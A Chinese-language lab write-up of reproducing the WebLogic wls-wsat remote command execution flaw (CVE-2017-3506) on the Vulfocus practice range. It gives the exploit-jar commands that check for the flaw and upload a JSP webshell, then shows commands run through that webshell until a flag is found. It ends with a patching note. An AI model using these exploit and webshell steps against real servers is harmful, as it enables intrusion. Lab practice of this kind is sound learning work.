【Vulfocus】weblogic wls-wsat组件远程命令执行（CVE-2017-3506）漏洞复现

一、漏洞介绍

1.靶场地址：https://vulfocus.cn/

2.名称：weblogic wls-wsat组件远程命令执行（CVE-2017-3506）

3.漏洞描述：Oracle WebLogic Server是美国甲骨文（Oracle）公司的一款适用于云环境和传统环境的应用服务中间件，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。

4.漏洞影响：
OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0

二、复现过程

1.启动靶场，得到IP和端口资产信息

2.利用工具cve-2017-3506_webshell.jar（在本文顶部获取资源下载），验证漏洞是否存在并利用

java -jar cve-2017-3506_webshell.jar -u http://123.58.224.8:64237

3.显示漏洞存在，上传木马，payload如下

java -jar cve-2017-3506_webshell.jar -s http://123.58.224.8:64237 /wls-wsat/CoordinatorPortType11 shell1.jsp

4.成功反弹shell，将http://123.58.224.8:64237/wls-wsat/shell1.jsp?password=secfree&command=whoami复制粘贴到浏览器访问试试

5.成功执行，根据题目提示flag存在于/tmp中，改成ls /tmp试试，即http://123.58.224.8:64237/wls-wsat/shell1.jsp?password=secfree&command=ls /tmp

6.得到flag，提交验证，恭喜通过。

三、修复建议

Oracle官方已经在关键补丁更新中修复了此漏洞，受影响的用户请尽快升级更新进行防护。